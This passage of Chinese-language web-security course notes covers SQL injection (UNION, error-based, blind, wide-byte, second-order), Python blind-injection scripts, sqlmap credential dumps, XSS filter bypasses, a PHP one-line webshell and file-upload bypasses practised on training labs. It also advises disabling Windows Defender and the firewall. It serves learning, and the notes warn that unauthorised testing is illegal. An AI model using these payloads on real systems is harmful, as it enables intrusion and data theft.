  • PHP 8.5 安装失败 → 改用容器镜像装 PHP 5.6

4. 容器问题排查流程(五步)

① podman ps                → 容器是否运行?  
② 查看nginx.conf           → 端口配置是否一致?  
③ ss -antlp | grep 9050    → 端口是否监听?  
④ podman start [容器ID]    → 重启容器  
⑤ podman ps + status      → 验证状态(running?)

核心原则: 边操作边验证(边操作边验证);结果导向(检查端口是否开启是最直接验证)。

5. 容器开机自启(systemd服务文件)

### 生成 service 文件

podman generate systemd --name [容器名] --files --new
配置步骤
# ① 移动文件到指定目录(用户级推荐)  
mkdir -p ~/.config/systemd/user/  
mv content-php56-fpm.service ~/.config/systemd/user/  
​  
# ② 启动服务  
systemctl --user start content-php56-fpm.service  
​  
# ③ 检查状态(看到 active (running))  
systemctl --user status content-php56-fpm.service  
​  
# ④ 设置开机自启  
systemctl --user enable content-php56-fpm.service
关键原理
  • systemctl enable 的前提:服务有对应的 .service 文件
  • 容器默认没有 → 需手动生成并移动
  • 路径层级:~/.config/systemd/user/(config → systemd → users)

6. Docker vs Podman

对比项DockerPodman
架构C/S(需dockerd守护进程)无守护进程(daemonless)
安全root运行支持rootless
命令dockerpodman
本质容器管理工具容器管理工具(相同)

两者本质相同,只是命令不同。容器技术是运维和安全的必备技能。


三、SQL注入(SQL Injection)

1. 注入原理

  • 服务端 GET 获取用户参数后直接拼接进SQL语句,未经处理
  • OR 1=1 永远为真 → WHERE 条件失效 → 返回所有数据
-- 正常: SELECT * FROM users WHERE id=12  
-- 注入: SELECT * FROM users WHERE id=12 OR 1=1  → 泄露全部数据

2. 四步注入流程

① 判断输入类型(数字型/字符型)
② 确定闭合符(字符型)
③ 判断列数(ORDER BY)
④ 定位回显位置(UNION SELECT)

① 判断输入类型
类型拼接方式判断方法
数字型WHERE id=$idand 1=2 生效(无结果)→ 数字型
字符型WHERE id='$id'and 1=2 无影响(当文本)→ 字符型
② 确定闭合符(字符型)

常见闭合符:'")')")

  • 报错信息可反推闭合符类型
  • 查看源代码直接确认拼接方式最直接
  • 数字型注入不需要闭合符
③ ORDER BY 判断列数
ORDER BY 1 → 正常  
ORDER BY 2 → 正常  
ORDER BY 3 → 正常  
ORDER BY 4 → 报错!→ 只有3列

原理:列号超出实际列数即报错;空结果不报错也说明该列存在。

④ 定位回显位置

id=-1 UNION SELECT 1,2,3   – 先让原查询无结果

  • 页面显示哪个数字 → 该列就是回显位置
  • 后续注入语句放在回显列上
完整利用链
-- 获取数据库名  
-1 UNION SELECT 1,2,DATABASE()  
​  
-- 获取表名  
-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME)  
FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()  
​  
-- 获取列名  
-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME)  
FROM information_schema.COLUMNS  
WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users'  
​  
-- 获取数据  
-1 UNION SELECT 1,2,GROUP_CONCAT(username,0x3a,password) FROM users

3. UNION 注入关键规则

  • 前后列数必须完全一致,否则语法错误
  • 列数不一致 → 补 NULL 对齐:
SELECT id, name, age FROM users  
UNION  
SELECT id, email, NULL FROM emails
  • 常见错误:UNION后加逗号、字段位置写错、忘记闭合符

4. 注释符 --+

  • -- 是SQL行注释符
  • URL中空格被编码为 %20,注释符后面的空格可能失效
  • + 在URL解码时 = 空格
  • 所以 --+ = -- + 空格 → 注释正常生效
-- 错误(不带空格,失效)  
id=1' OR 1=1--      → 后面单引号还在,语法错误  
​  
-- 正确  
id=1' OR 1=1--+     → 注释掉剩余内容
  • 替代方案:构造无效条件(AND 1=2)吃掉多余代码段

5. 布尔盲注(Boolean Blind)

适用场景
  • 无直接数据回显,只有页面真/假两种状态
原理示例
-- 判断数据库名长度  
?id=1 AND LENGTH(DATABASE())=8   -- 页面正常=长度8  
​  
-- 逐个字符猜(ASCII比较)  
?id=1 AND ASCII(SUBSTRING(DATABASE(),1,1))>80
二分法优化

直接挨个试 a-z(26次)太低效,用二分法:

第1次:ASCII > 80? → 是(范围 81-255)
第2次:ASCII < 100? → 是(范围 81-99)
第3次:ASCII < 90? → 否(范围 90-99)
第4次:ASCII < 95? → 否(范围 95-99)
第5次:ASCII = 97? → 是!→ ‘a’

  • 效率:最坏 7 次(log₂128)vs 原始 26 次
  • 猜数字原理:每次把范围砍掉一半

6. 时间盲注(Time-based Blind)

原理
IF(条件, SLEEP(3), 1)`
— 条件成立则响应延迟

-- 判断数据库名长度  
?id=1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+  
-- 延迟3秒 → 长度=8;立即响应 → 长度≠8  
​  
-- 判断字符  
?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))>80, SLEEP(3), 1)--+
特点
  • 不需要知道具体列数
  • 时间延迟即判断依据
  • 缺点:慢、易被WAF检测、网络波动会误判
布尔 vs 时间盲注对比
对比项布尔盲注时间盲注
判断依据页面内容差异响应时间差异
速度快(毫秒级)慢(每条件数秒)
前提有真假回显无任何回显
优先顺序优先使用布尔不可用时的降级方案

7. 报错注入(Error-based)

原理

构造会报错的SQL语句,让报错信息泄露查询结果

核心函数
EXTRACTVALUE(xml_fragment, xpath_expression)   -- XPath错误→报错  
UPDATEXML(xml_target, xpath_expr, new_xml)     -- XPath错误→报错
标准Payload
-- 获取数据库名  
1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE())))--+  
​  
-- 获取表名  
1' AND EXTRACTVALUE(1, CONCAT(0x7e,  
(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES  
 WHERE TABLE_SCHEMA=DATABASE())))--+  
​  
-- 获取列名  
1' AND EXTRACTVALUE(1, CONCAT(0x7e,  
(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS  
 WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='users')))--+  
​  
-- 获取数据  
1' AND EXTRACTVALUE(1, CONCAT(0x7e,  
(SELECT GROUP_CONCAT(username,0x3a,password) FROM users)))--+
特殊符号选择
符号稳定性说明
波浪线 ~(0x7e)★最稳定推荐使用
星号 *一般可能受URL编码影响
@可用能直接成功
&&✗ 不可用URL中=参数分隔符,解析错误

报错信息示例:XPATH syntax error: '~security' — 数据库名已泄露


四、SQL查询技巧与函数速记

1. 核心函数速查

函数作用示例
LENGTH()字符串长度LENGTH('hello') → 5
ASCII()字符→ASCII码ASCII('A') → 65
SUBSTRING(s,p,n)截取SUBSTRING('database',1,3) → ‘dat’
CONCAT()字段拼接CONCAT(user,'--',pass)
GROUP_CONCAT()多行合并一行可指定 SEPARATOR 分隔符
DATABASE()当前数据库名SELECT DATABASE()
VERSION()数据库版本SELECT VERSION()
SLEEP(n)休眠n秒时间盲注用
IF(c,a,b)三元判断IF(1>2,SLEEP(3),1)

2. 分组与聚合

– GROUP BY 分组(配合聚合函数,否则只显示第一条)
SELECT customer, SUM(price) FROM orders GROUP BY customer

– GROUP BY 1 = 按第1列分组;超范围报错
– 聚合函数:SUM / COUNT / AVG / MAX / MIN

3. LIMIT 两种用法

用法含义示例
LIMIT n返回前n行LIMIT 2 → 第1、2行
LIMIT a,b从第a行(0计数)起返回b行LIMIT 1,2 → 第2、3行

双参数第二位是返回行数,不是截止行号!

分页公式:LIMIT (page-1)*size, size

4. LIKE 模糊匹配

LIKE ‘张%’   – 以"张"开头
LIKE ‘%张%’  – 包含"张"
LIKE ‘_三%’  – 第二字是"三"

5. information_schema 系统库

  • 存储所有数据库的元数据(表、列信息)
-- 查特定库的表名  
SELECT TABLE_NAME FROM information_schema.TABLES  
WHERE TABLE_SCHEMA='security'  
​  
-- 查特定表的列名  
SELECT COLUMN_NAME FROM information_schema.COLUMNS  
WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'  
​  
-- 合并显示  
SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES  
WHERE TABLE_SCHEMA='security'

注意:

  • TABLE_SCHEMA=库名,TABLE_NAME=表名,COLUMN_NAME=列名
  • 当前库≠information_schema时,查询必须带库名前缀
  • "column"易拼错,注意拼写

6. 分段截取(前端限制长度时)

-- 分块拼接:第1次取1-32位,第2次取33-64位...  
SUBSTRING(data,1,32)  
SUBSTRING(data,33,32)  
-- 拼图式获取完整结果

五、Python 自动化盲注脚本

1. 布尔盲注脚本(二分法)

import requests  
​  
url = "http://192.168.50.1/vuln.php"  
success = "正常页面特征字符串"   # 根据实际页面调整  
​  
def check(payload):  
    r = requests.get(url, params={"id": payload}, timeout=5)  
    return success in r.text  
​  
判断数据库名长度(二分)
low, high = 1, 32  
while low < high:  
    mid = (low + high) // 2  
    if check(f"1' AND LENGTH(DATABASE())>{mid}--+"):  
        low = mid + 1  
    else:  
        high = mid  
length = low  
print(f"[+] 长度: {length}")  

逐个字符猜(二分)
db = ""  
for pos in range(1, length + 1):  
    lo, hi = 32, 127  
    while lo < hi:  
        mid = (lo + hi) // 2  
        if check(f"1' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>{mid}--+"):  
            lo = mid + 1  
        else:  
            hi = mid  
    db += chr(lo)  
    print(f"[+] {pos}位: {chr(lo)} → {db}")  
print(f"[+] 数据库名: {db}")

2. 时间盲注脚本核心

import requests, time  
​  
def time_check(payload, threshold=3):  
    start = time.time()  
    requests.get(url, params={"id": payload}, timeout=10)  
    return time.time() - start > threshold  

判断数据库名长度
if time_check("1' AND IF(LENGTH(DATABASE())=8, SLEEP(3), 1)--+"):  
    print("[+] 长度=8")

3. 调试常见问题

问题解决
缺 requests 模块pip install requests
目标地址写错检查IP(如192写成129)
URL大小写错误精确核对(大小写敏感)
返回值判断不准对比正常/异常页面找特征串
假阳性"完成"用目标命令严格管控执行

4. 响应验证方法

# ① 特征字符串匹配(最常用)  
"正常" in response.text  
​  
# ② 页面长度比较  
len(response.text) > 基准值  
​  
# ③ 时间测量(时间盲注)  
elapsed > 3

第七天

一、渗透测试法律红线

  • 未经授权的渗透测试属于违法行为,可能面临法律后果
  • 不能擅自修改他人网站数据或影响正常运营,否则可能被起诉
  • 即使发现漏洞,也需遵守规范流程(先看公告 → 按平台要求提交漏洞 → 拿奖励)
  • 大平台(京东、淘宝等)都有 应急响应中心(SRC),合法测试才有回报
  • 直接暴露真实IP非常危险,至少使用VPN防护;但挂VPN并不绝对安全,真实信息仍会被记录

二、SQL注入基础(MySQL)

1. 注入点类型判断

测试语句结果结论
1 and 1=2无结果返回数字型(and条件生效)
1 and 1=2仍有结果字符型(语句被放入引号中执行)
1'报错引号未闭合,可继续构造payload

2. 注释符

  • --++ 在URL中被解码为空格,-- 是SQL注释符
  • # 可能被URL识别为锚点导致失效
  • 空格被拦截时用 + 或编码替代

3. 联合注入(Union Injection)

  • 关键前提:联合查询的两个表字段数必须相同
  • 先用 order by N 探测列数:order by 3 成功、order by 4 报错 → 表有3列
  • 示例:union select 1,database() 直接暴露当前数据库名(如 “security”)
  • 正常查询结果需返回空(如加 and 1=2),确保页面只显示注入结果

4. 登录绕过示例

密码框输入:admin’–

利用单引号闭合字符串,-- 注释掉后续SQL代码(密码验证被忽略)。根因:程序直接将用户输入拼接进SQL语句,无过滤、无参数化。


三、报错注入

1. 核心原理

利用SQL语句拼接时的语法检查机制,在真正执行查询前触发报错,通过报错信息泄露数据。

2. 常用函数

函数注入利用
extractvalue(1, concat('~', 查询语句))参数1随便填(常用1),参数2构造非法XPath路径
updatexml(1, concat('~', 查询语句), 1)同上,重点在第二个参数
floor()向下取整函数,构造参数同样可实现报错注入

3. 关键技巧

  • 路径不以斜杠开头就会报错(如用 ~、星号)
  • concat('~', select database()) 拼接查询语句
  • 括号必须成对,参数数量必须精确(新手最易出错)
  • 空格用 + 代替(绕过WAF的常见手法)

四、information_schema 元数据查询

information_schema  
  ├── tables    → 存储所有表的结构信息  
  │   ├── table_schema  → 表所属数据库名  
  │   └── table_name    → 表名  
  └── columns   → 存储所有列的结构信息  
      ├── table_schema / table_name / column_name

-- 查询指定数据库的所有表  
SELECT table_name FROM information_schema.tables  
WHERE table_schema = 'security';  
​  
-- 查询指定表的所有列  
SELECT column_name FROM information_schema.columns  
WHERE table_schema = 'security' AND table_name = 'users';

注意事项:

  • 表名要用单引号括起来,条件之间用 AND 连接
  • 括号要匹配,漏引号或括号不匹配会报错
  • 不同数据库(MySQL、PostgreSQL)的 information_schema 存在差异

五、二次注入

1. 原理(潜伏-触发两段式攻击)

  1. 第一次(被动存储):注入特殊字符(如 admin'#),系统转义后仍将"脏数据"存入数据库
  2. 第二次(主动执行):后续查询从数据库取出数据拼接成SQL语句,特殊字符生效触发注入

2. 比喻

就像投递假币被验钞机拦截,但假币仍存进金库;等下次取钱时,假币就流通出去了。

3. 防御缺陷

只在**入口(注册)做转义过滤(如 mysql_real_escape_string()),忽略了出口(登录)**的校验——"前紧后松"创造了攻击条件。对应关卡:第24关


六、宽字节注入(GBK编码绕过)

1. 前置知识

  • 1字节 = 8位二进制;ASCII码用单字节,GBK编码用双字节(宽字节)表示汉字
  • 16进制用 0x 前缀;a-f 对应十进制 10-15
  • 换算示例:十六进制 5c5×16 + 12 = 92;反过来 92 ÷ 16 = 5 余 125c

2. 注入原理

  1. 输入单引号 '(URL编码 %27),后端自动添加转义符 \%5c)→ 变成 \'
  2. 在单引号前加 %df,后端处理后为 %df%5c
  3. GBK编码 中,%df%5c 被解析为一个汉字(“韵”)
  4. 转义符被"吃掉",单引号成功逃逸,保持语句闭合 → 注入成功

3. 成功条件

  1. 后端使用 GBK编码 解码
  2. 闭合符前有转义字符
  3. 以GBK方式解码(MySQL 会主动尝试将连续字节解释为合法字符)

七、SQL注入进阶技巧

1. 十六进制编码绕过

  • 将字符串(如 users)转ASCII码再转16进制(如 0x7573657273),避免引号问题

  • MySQL能正确解析;关键不是必须用16进制,而是找到数据库能解析的合法格式

2. 常用函数

  • group_concat():将多行结果拼成一行
  • concat():合并多列结果
  • database():获取当前数据库名
  • version():获取数据库版本

3. 其他注入点识别

  • Cookie注入(第20关):服务器通过cookie验证用户身份,修改cookie中username即可注入
  • Referer注入(第19关):$U_agent 变量存储了Referer的值,隐式插入后端查询
  • User-Agent注入:原理同报错注入,在对应位置闭合原语句后跟报错注入函数

八、sqlmap 自动化注入工具

1. 基本用法

# GET请求注入  
sqlmap -u "http://target.com/lab1?id=1"  
​  
# POST请求注入(先用Burp抓包保存为文件)  
sqlmap -r request.txt  
​  
# 分步探测:数据库 → 表 → 列 → 数据  
sqlmap -u "URL" -D security --tables  
sqlmap -u "URL" -D security -T users --columns  
sqlmap -u "URL" -D security -T users -C username,password --dump

2. 核心参数

参数用途
-u指定GET请求URL
-r从文件读取HTTP请求(支持GET/POST)
-D / -T / -C指定数据库名 / 表名 / 列名
--tables / --columns / --dump获取表 / 列 / 导出数据
--dbs获取所有数据库名
--no-question不再询问确认,自动执行
--level (1-5)探测深度,越高请求越多,建议3
--risk (1-3)风险等级,谨慎选择(过高可能封号)
-v (0-6)输出详细程度
-p精准指定要测试的参数位置
-H / --cookie添加请求头 / 携带Cookie
--proxy指定代理

3. 代理监控

  • --proxy 指定本地代理,让sqlmap流量经过Burp Suite,"可视化"监控原始请求
  • 必须确保代理端口开放且配置正确,否则所有请求被阻断
  • -u 只适用GET;POST必须用 -r(先抓包存文件)
  • 参数顺序不能错;布尔盲注探测较慢属正常现象

九、Burp Suite 使用

  • GET vs POST:GET参数显示在URL中;POST参数在URL不可见,需抓包查看
  • 拦截(Intercept):测试前先关闭拦截,避免影响浏览器正常操作
  • Repeater(重放器):反复修改参数(如username)观察页面响应
  • 推荐 社区版(Community Edition);注意拼写 “Burp Suite”

十、SQL注入Payload速查

-- 联合注入:判断列数  
?id=1 order by 3  
?id=1 order by 4  -- 报错 → 共3列  
​  
-- 联合注入:获取数据库名  
?id=-1 union select 1,database(),3  
​  
-- 联合注入:获取表名  
?id=-1 union select 1,group_concat(table_name),3  
 from information_schema.tables where table_schema='security'  
​  
-- 联合注入:获取列名  
?id=-1 union select 1,group_concat(column_name),3  
 from information_schema.columns where table_name='users'  
​  
-- 联合注入:获取数据  
?id=-1 union select 1,group_concat(username),group_concat(password) from users  
​  
-- 报错注入:获取数据库版本  
?id=1 and extractvalue(1,concat(0x7e,version()))  
​  
-- 报错注入:获取当前数据库  
?id=1 and updatexml(1,concat(0x7e,database()),1)  
​  
-- 宽字节注入(GBK环境)  
?id=%df' and 1=1 --+  
?id=%df' union select 1,database(),3 --+
# sqlmap 常用命令  
sqlmap -u "http://target?id=1" --dbs                          # 获取所有数据库  
sqlmap -u "http://target?id=1" -D security --tables          # 获取表名  
sqlmap -u "http://target?id=1" -D security -T users --columns  # 获取列名  
sqlmap -u "http://target?id=1" -D security -T users -C username,password --dump  # 导出数据  
sqlmap -r request.txt                                        # POST注入  
sqlmap -u "http://target?id=1" --proxy="http://127.0.0.1:8080"  # 代理监控

第八天

一、XSS 漏洞基础

1. XSS 是什么

  • 全称:Cross-Site Scripting(跨站脚本攻击)
  • 本质:恶意脚本被浏览器当作合法代码解析执行
  • 成因:用户输入未过滤 + 输出未转义
  • 面试高频点:连基本概念都答不上来会很尴尬

2. 三种 XSS 类型

类型数据流向数据库参与影响范围危害程度
反射型URL参数 → 服务器 → 反射回浏览器仅当前用户
存储型提交 → 存库 → 所有用户读取执行所有访问者
DOM型URL → 前端直接操作DOM树当前用户
反射型 XSS 关键特征
  • 恶意脚本通过 URL 参数 传递,后端用 $_GET 获取
  • 未处理直接拼接进 HTML 返回
  • 不存数据库,每次攻击只对当前用户生效
  • 验证技巧:Chrome 触发后用 Edge 访问同一页面,不弹窗 = 反射型
存储型 XSS 关键特征
  • 恶意脚本持久化存入数据库
  • 攻击者埋雷,其他用户访问时自动触发
  • 自动化传播,无需攻击者持续介入,危害最大
  • 验证技巧:换浏览器访问仍弹窗 = 存储型
DOM 型 XSS 关键特征
  • 完全在客户端执行,不经过服务器
  • 攻击者构造恶意 URL → 受害者点击触发
  • 数据插入位置由前端 JS 决定(如 innerHTML、href 属性)
  • 找漏洞看源码中数据最终插入哪个 DOM 节点

二、PHP 基础

1. $_GET 传参

// URL: level1.php?name=张三  
$str = $_GET['name'];    // $str = "张三"
  • 参数在 URL 问号 ? 后面,多个参数用 & 连接
  • 明文显示在地址栏,安全性低,适合非敏感数据
  • 传参必须在正确的页面操作

2. htmlspecialchars() 转义函数

$str = "<script>alert(1)</script>";  
echo htmlspecialchars($str);  
// 输出 &lt;script&gt;alert(1)&lt;/script&gt; —— 浏览器只显示文本不执行
字符实体编码
<&lt;
>&gt;
"&quot;
'&#039;

⚠️ 关键坑:旧版本默认只转义双引号,不转义单引号 → 留下利用空间 修复:htmlspecialchars($str, ENT_QUOTES) 双引号单引号都转


三、XSS 绕过技巧

1. 引号闭合绕过

<!-- 原始 -->  
<input type="text" value="用户输入">  
​  
<!-- 输入 " onfocus="alert(1) -->  
<input type="text" value="" onfocus="alert(1)">

原理:

  1. 提前闭合双引号跳出 value 属性
  2. 用尖括号闭合 input 标签
  3. 插入恶意事件属性
  4. 浏览器优先解析 HTML 结构,语法正确就执行

2. 大小写绕过

<!-- 过滤了 on/script 但没做大小写转换 -->  
<INPUT ONFOCUS="alert(1)">   <!-- 有效,HTML 不区分大小写 -->

3. 双写绕过(单次过滤缺陷)

输入过滤(删除关键词一次)结果
oonn删中间的 onon
scrscriptipt删中间的 scriptscript
<scr<script>ipt>alert(1)</scr<script>ipt>

4. javascript: 伪协议

<a href="javascript:alert(1)">点击</a>
  • href 支持伪协议,点击即执行 JS
  • 某些场景可不带引号直接写

5. 事件属性注入(转义失效时的出路)

事件触发条件示例
onclick点击onclick="alert(1)"
onfocus获得焦点onfocus="alert(1)"
onerror加载失败<img src=x onerror=alert(1)>
onload加载完成<body onload=alert(1)>

6. 注释符绕过(协议冲突解决)

javascript:alert(123)//http://
  • // 是 JS 单行注释,后面的 http: 被忽略
  • 解决"协议头校验 + javascript:"冲突

7. 换行符 %0a 绕过

URL 中换行符编码:%0a
HTML 会把换行符解析为空格

  • 当空格和 / 被过滤时,用 %0a 代替空格
  • 例:%0a%0a onload=alert(1) 实现属性注入

3.8 编码绕过(实验性)

  • 思路:编码变形骗过后端校验 + 浏览器能正确解码还原
  • Unicode 编码不是万能:宽字符编码浏览器无法执行,16进制编码效果又不同
  • 关键:编码后的内容含引号会导致语法错误;能否执行取决于后端是否二次解码
  • 反斜杠 U 形式(\u)编码在 XSS 场景下无效
  • 没有标准答案,需要反复测试不同编码变体

3.9 隐藏参数绕过

  • 页面可能携带隐藏的表单值(type=hidden)
  • 找不到输入点时:看源码 / 抓包 / 移除隐藏属性后注入

四、XSS Labs 全关卡通关要点

关卡考察点通关思路
1GET 传参正确页面传参 ?name=xxx
2无过滤输出直接插入 <script>alert(123)</script>
3htmlspecialchars 转义单引号闭合 + onfocus 事件
4函数功能理解看源码分析漏洞位置
5输入过滤升级事件绕过,on 已禁用
6关键词插下划线大写字母绕过(ON 代替 on)
7单次替换过滤双写绕过
8引号实体化javascript: 伪协议 / her(href) 属性
9http:// 协议校验javascript:alert(1)//http: 注释绕过
10隐藏表单值移除隐藏属性 / 抓包改属性
11Referer 头Burp Suite 抓包修改 Referer
12User-Agent 头修改 T-ua 字段
13Cookie修改 Cookie 字段
14较简单常规思路
15页面嵌套嵌套另一个页面(iframe)
16空格/斜线被过滤%0a 换行符代替空格

XSS 利用三条件(贯穿所有关卡):

  1. 用户输入可控
  2. 浏览器能解析执行恶意代码
  3. 回显机制让攻击者看到结果

五、一句话木马(WebShell)

1. 原理

<?php @eval($_POST['cmd']); ?>
  • 极简恶意代码,一个文件控制服务器
  • 核心函数:eval() —— 把参数当 PHP 代码执行
  • @ 抑制错误提示

2. 代码执行 → 系统命令执行

// 攻击者传入:system('whoami')  
// eval 执行后:  
system('whoami');   // 执行系统命令  
​  
// GET 版本  
http://target/shell.php?cmd=system('ipconfig');
  • system() 执行系统命令(whoami、ipconfig 等)
  • 本质:把代码执行转换成系统命令执行,等于开后门

3. 管理工具

工具特点
蚁剑主流,功能全
冰蝎加密流量,免杀
菜刀经典老牌

4. Windows 实时保护对抗

  • 一句话木马文件刚保存就可能被 Defender 实时保护删除
  • 处理:关闭实时保护 + 防火墙
  • 注意:实时保护会自动重新开启(防火墙可永久关闭)

六、文件上传漏洞

1. 攻击流程

  1. 上传恶意文件(一句话木马 .php)
  2. 绕过前端校验(改后缀 .png / 抓包改回 .php)
  3. 文件存入服务器
  4. 必须知道存储路径才能利用 ← 关键

2. 关键知识点

要点说明
前端校验不可靠改后缀、删 maxlength 即可绕过
抓包绕过Burp Suite 拦截请求改文件后缀
路径定位实际存储路径可能和预期不同(多几层目录)
上传≠可利用不知道路径,文件等于"消失"

七、HTTP 头字段利用

字段关卡操作
Referer11抓包 → 修改 Referer 头(可手动构造 type=test)
User-Agent12修改 UA 字段(T-ua)
Cookie13修改 Cookie 值

注意:拼写 referer/refer 容易错;抓包要确认操作的是正确页面,容错率低


八、环境配置

1. 数据库连接排查清单

  1. PHP 版本是否正确(皮卡丘要 7.3.4,DVWA 可能用 5.3)
  2. 端口号(默认 3306,实际可能是 3307)
  3. 密码是否一致(面板显示 ≠ 真实密码)
  4. 配置文件(只改一个文件不够,其他文件默认 3306)
  5. 区分本地环境 和 Ubuntu 环境(完全隔离)

2. 常用操作

# 重启 Nginx(修改配置后生效)  
cd sbin && ./nginx -s reload  
​  
# Open Code 恢复会话  
opencode session list          # 查看历史会话  
opencode -s <session_id>       # 恢复会话

3. 靶场工具

工具用途
phpstudyPHP 集成环境
DVWAWeb 安全靶场
皮卡丘 pikachu存储型/反射型演示
XSS LabsXSS 专项 16 关
Burp Suite抓包代理

第九天

一、基础知识

1. 文件上传三要素

  1. 文件能成功上传——绕过前端校验和后端基础过滤
  2. 能找到上传后的文件路径——必须知道文件被保存到哪个目录
  3. 该路径能被当作 PHP 代码执行——服务器配置允许 PHP 解析

上传成功只是第一步,三步缺一不可。

2. 一句话木马

<?php @eval($_POST['cmd']);?>
  • @:抑制错误输出
  • eval():执行字符串形式的 PHP 代码
  • 利用:cmd=phpinfo() 看信息;cmd=system('命令') 执行系统命令

3. 易混淆概念

  • PHP 代码执行 ≠ 系统命令执行eval() 是解析器级别,system() 是命令行级别
  • 分号必须准确:多一个少一个都会报错
  • PHP 是弱类型语言,与 Python 语法相似
  • 连接密码 = 传参的参数名(如 cmd、password),不是传统意义的密码

二、各关卡漏洞与绕过

第 1 类:前端 JS 校验(第一关)

  • 系统仅靠前端 JS 校验文件类型
  • 绕过:①禁用浏览器 JS ②Burp Suite 拦截修改请求
  • 结论:仅靠前端校验等于没有校验

第 2 类:Content-Type 校验(第二关)

  • 后端白名单校验 Content-Typeimage/pngimage/jpgimage/gif
  • 绕过:Burp Suite 把 text/php 改成 image/jpeg
  • 结论:客户端提交的 Content-Type 完全可伪造,仅依赖它校验存在严重隐患

第 3 类:后缀名修改(双重扩展名绕过)

  • 步骤:.php.png 骗过前端 → 抓包改回 .php → 确认路径 → 攻击
  • 注意:代码语法错误时可直接改服务器上的文件(3w 目录下 upload 文件夹),不用重新上传

第 4 类:Apache 解析漏洞(第三关)

  • Apache 会把 .php3.php5.php7 也当 PHP 执行;Nginx 不一定支持
  • 关键在 httpd.conf 的 MIME 映射:
AddType application/x-httpd-php .php3 .php5
  • 通配符配置 AddType application/x-httpd-php .php 会使所有 php 开头文件都被当 PHP 处理
  • 若该配置缺失,上传 .php3 也不会被解析——这是攻击能否成功的分水岭

第 5 类:.htaccess 配置利用(第四关)

  • .htaccess 是 Apache 目录级配置文件,可改变目录下文件的解析行为
  • 利用:上传 .htaccess(不在黑名单),强制 jpg 当 PHP 解析
AddType application/x-httpd-php .jpg
  • 进阶:配置规则让 .gpt 等自定义后缀交给 PHP 解析器
  • 重定向玩法:访问 php 文件时自动加载同目录 jpg 内容
  • 生效条件:①必须 Apache ②httpd.conf 中 AllowOverride 设为 All(None 则完全忽略)
  • 注意:文件名是 .htaccess(没有 P,点开头);隐藏后缀名(如 .tmt)要完全去掉
  • Content-Type 只是声明,set header 才决定解析方式

第 6 类:user.ini 配置利用(第五关)

  • 第五关黑名单禁用了 .htaccess,改用 PHP 目录级配置 user.ini 覆盖 php.ini
  • 利用(预加载机制):
auto_prepend_file=test.jpg
  • 效果:访问该目录任何 PHP 文件时,先把 test.jpg 内容插入文件开头再执行(文件包含攻击)
  • 生效关键:必须 php-fpm 模式运行 PHP(传统 Apache 模块方式 user.ini 失效)
  • 排查:phpinfo() 或进程查看确认运行模式;phpStudy 中可切换版本/运行组合

第 7 类:Windows 文件流 ADS(第八关)

  • Windows 文件由多个数据流组成,文件名:流名 访问非默认流
  • 上传文件名加冒号 dollar date 不报错,但访问会 403
  • 仅适用于 Windows;Linux 文件流机制不同

第 8 类:Magic Number 文件头校验

  • 系统读文件头两字节判断类型:255216=jpg、13780=png、7173=gif,其他=未知(失败)
  • 改后缀没用,检查的是文件内容"身份证"(二进制头)
  • 绕过:文件内容前加 GIF89a 即可骗过(第 13 关)

第 9 类:图片马(图片木马)

  • 制作:copy /B ai.png + test.php 图片.png(二进制模式追加)
  • 图片表面正常,实际尾部含 PHP 代码
  • 局限:Apache 默认不解析图片中的 PHP 代码,单独上传无法利用
  • 需配合文件包含漏洞(如 include.php)触发执行——钥匙有了,还要找锁孔

第 10 类:二次渲染(第 16 关)

  • 系统对上传图片重新编码,打乱内容,嵌入代码被破坏(像临摹名画,密信被过滤)
  • 绕过思路:010 Editor 对比原图与渲染图,找到未被修改的区域,把木马插进保留区
  • 关键:精准定位不变数据区,不能盲目插入

第 11 类:条件竞争 Race Condition(第 17 关)

  • 系统"先存储后删除"(unlink),中间存在毫秒级时间窗口

  • 利用(双线并行)

    • 线程 A:持续上传恶意 php

    • 线程 B:持续访问该文件

    • 命中的瞬间执行代码,用 file_put_contents() 生成持久性文件(不会被删除)

  • 实操:Burp Suite 抓上传+访问两个请求包 → 并发爆破 → 请求自动跑 5000 次(non-payload 模式)→ 响应非 404 即命中

  • 注意:Windows 实时保护会拦截,需先关闭


三、后端防护逻辑拆解

1. 多层过滤(代码层)

措施目的
删除文件名末尾的点file.php.(Windows 忽略最后的点)
用点分割文件名分离后缀
后缀转小写防大小写绕过
去特殊字符和尾部空格phpphp: 等变种
黑名单数组最终后缀命中即报错

2. 字符过滤

  • 文件内容含 “php” 字符会被自动替换 → 无法作为 PHP 执行
  • 绕过思路:@eval() 字符串形式执行

3. 黑名单 vs 白名单

  • 黑名单容易遗漏(忘记 .php3/.php5 等变种)
  • 白名单更严格可靠:只放行明确允许的类型
  • 流程:移动文件 → 白名单校验

4. 先存储后删除(unlink)

  • 存储 → 检测 → 删除链条
  • 缺陷:引发条件竞争

四、实操技巧与工具

1. Burp Suite 用法

  • 抓包改后缀名、改 Content-Type、加 GIF89a 头
  • 并发爆破实现条件竞争

2. 查看十六进制

  • 010 Editor:专业但收费(试用 1 个月)
  • VS Code + Hex Editor 插件:免费替代

3. 上传测试小技巧

  • 上传 test.php 后把 Content-Type 改成 image/png,能被解析即上传成功
  • phpinfo() 验证:能显示 PHP 信息 = 上传成功且被解析
  • phpinfo 暴露:根目录绝对路径、脚本位置、PHP 版本、系统版本

4. 环境与排错

  • 操作前先关闭本地 PHP 环境(phpStudy)避免端口冲突
  • 清空上传文件夹可能误删整个 upload 目录 → 新建同名 upload 文件夹即可
  • 上传后文件名被系统修改(如 user.ini → .txt)→ 抓包分析请求数据找原因
  • 修改 php.ini:找到对应版本配置文件 → 去分号启用 → 重启服务 → phpinfo 验证

5. 远程连接工具流程

初始化(选目录)→ 右键添加数据(配访问路径)→ 通过参数名传递指令 → 连接后可查看目录、虚拟终端操作主机

6. 安全警示

